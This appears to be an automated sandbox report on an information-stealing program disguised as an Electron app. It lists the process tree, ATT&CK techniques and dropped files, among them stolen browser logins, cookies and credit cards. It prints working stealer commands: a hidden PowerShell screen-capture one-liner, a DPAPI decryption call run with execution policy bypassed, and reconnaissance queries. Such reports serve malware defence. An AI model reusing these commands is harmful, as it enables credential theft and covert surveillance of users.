C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_dpapi_5313005c.ps1" "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAALyY0IYCS2UKZ3Cj+hEs2nxAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAZPHJOjC63AnmV5h92u/5ISEo8Yeuzv9LW7EZ8BVaNM8AAAAADoAAAAACAAAgAAAAjg1w4bu49KNYci0OP5yKtUhDKz3KvqkG7lK15wTELSUwAAAAkaCLbCVvMldvd3+wobXWwos5T4rB9oN345d0LesrBNilLTmLODuSv7yOGzDybDleQAAAAGALskwi/fC7B+S3X5XovbODnZM6L64X3d54T/Q9lAPfDoncrqVUzYgk+Kq2AYur4QdrgNjgM90lT3iAGav3XXE="3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name /value3⤵
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Valve\Steam" /v SteamPath3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
chrome_100_percent.pak
8zn1bqr9adp.zip
All Autofill.txt
powershell.exe.log
StartupProfileData-NonInteractive
boot_electron.txt
boot_main.txt
boot_main.txt
boot_main.txt
boot_main.txt
boot_main.txt
boot_main.txt
boot_modules.txt
boot_modules.txt
boot_modules.txt
boot_runtime.txt
boot_runtime.txt
boot_runtime.txt
boot_runtime.txt
boot_runtime.txt
ChromeElevator.exe
__PSScriptPolicyTest_lrg1ahqi.jzg.ps1
extra_exe_debug.txt
extra_exe_debug.txt
extra_exe_debug.txt
extra_exe_debug.txt
msvc_714339f57659.jsc
LICENSE.electron.txt
LICENSES.chromium.html
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
SystemCore.dat
index.dat
LICENSE
better_sqlite3.node
common.gypi
copy.js
defines.gypi
download.sh
1208.patch
sqlite3.gyp
sqlite3.c
sqlite3.h
sqlite3ext.h
test_extension.c
database.js
index.js
aggregate.js
backup.js
function.js
inspect.js
pragma.js
serialize.js
table.js
transaction.js
wrappers.js
sqlite-error.js
util.js
package.json
better_sqlite3.cpp
better_sqlite3.hpp
LICENSE
cli.js
vmDetect.node
vmDetect.node
index.cjs
index.esm.js
vmDetect.node
vmDetect.node
node-vm-detect-child.js
vmDetect.node
vmDetect.node
package.json
stealth_loader.js
elevate.exe
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
StdUtils.dll
System.dll
WinShell.dll
nsis7z.dll
system_check_1785761019693.vbs
All CreditCards.txt
All Autofill.txt
temp_webdata_Google Chrome_Default_1785761032211.db
Firefox Nightly (9tz20xb5.default-release).txt
Google Chrome (Default).txt
All History.txt
temp_history_Google Chrome_Default_1785761032148.db
temp_history_Microsoft Edge_Default_1785761032180.db
temp_login_Google Chrome_Default_1785761032258.db
temp_login_Microsoft Edge_Default_1785761032227.db
temp_cookies_chrome_Default_urps9.db
temp_cookies_edge_Default_ylqva.db
temp_cookies_firefox-beta_9tz20xb5_default_release_0x4ha.db
temp_history_firefox-beta_9tz20xb5_default_release_lkkgb.db
temp_webdata.db
default.dic
Local State
Network Persistent State
Network Persistent State
LOADER_DEBUG_LOG.txt
nyx_loader_error.log
nyx_loader_error.log
memory/1060-2040-0x0000026BEC320000-0x0000026BECDE2000-memory.dmp
memory/2472-1257-0x0000015E9F1A0000-0x0000015E9F253000-memory.dmp
memory/2472-1362-0x0000015E86180000-0x0000015E86C42000-memory.dmp
memory/2872-1529-0x000001D5969C0000-0x000001D597482000-memory.dmp
memory/3200-2123-0x000001670D8A0000-0x000001670DA4A000-memory.dmp
memory/3200-2472-0x000001670D8A0000-0x000001670DA4A000-memory.dmp
memory/3488-1850-0x0000025815A00000-0x00000258164C2000-memory.dmp
memory/3776-1817-0x000002345BB10000-0x000002345C5D2000-memory.dmp
memory/4128-1396-0x0000025A33BD0000-0x0000025A34692000-memory.dmp
memory/4340-2011-0x000002693A4F0000-0x000002693AFB2000-memory.dmp
memory/5044-1488-0x0000026F71D10000-0x0000026F71D60000-memory.dmp
memory/5044-1490-0x0000026F58BC0000-0x0000026F59682000-memory.dmp
memory/5088-1155-0x0000024185A60000-0x0000024186522000-memory.dmp
memory/5088-1152-0x000002419EF30000-0x000002419EF3A000-memory.dmp
memory/5088-1151-0x000002419EF20000-0x000002419EF26000-memory.dmp
memory/5088-1150-0x000002419E950000-0x000002419E958000-memory.dmp
memory/5088-1149-0x000002419EF40000-0x000002419EF5A000-memory.dmp
memory/5088-1148-0x000002419E940000-0x000002419E94A000-memory.dmp
memory/5088-1147-0x000002419EF00000-0x000002419EF1C000-memory.dmp
memory/5088-1146-0x000002419E930000-0x000002419E93A000-memory.dmp
memory/5088-1145-0x000002419EBF0000-0x000002419ECA3000-memory.dmp
memory/5088-1144-0x000002419E8F0000-0x000002419E90C000-memory.dmp
memory/5088-1137-0x000002419EB70000-0x000002419EBE6000-memory.dmp
memory/5088-1135-0x000002419E730000-0x000002419E752000-memory.dmp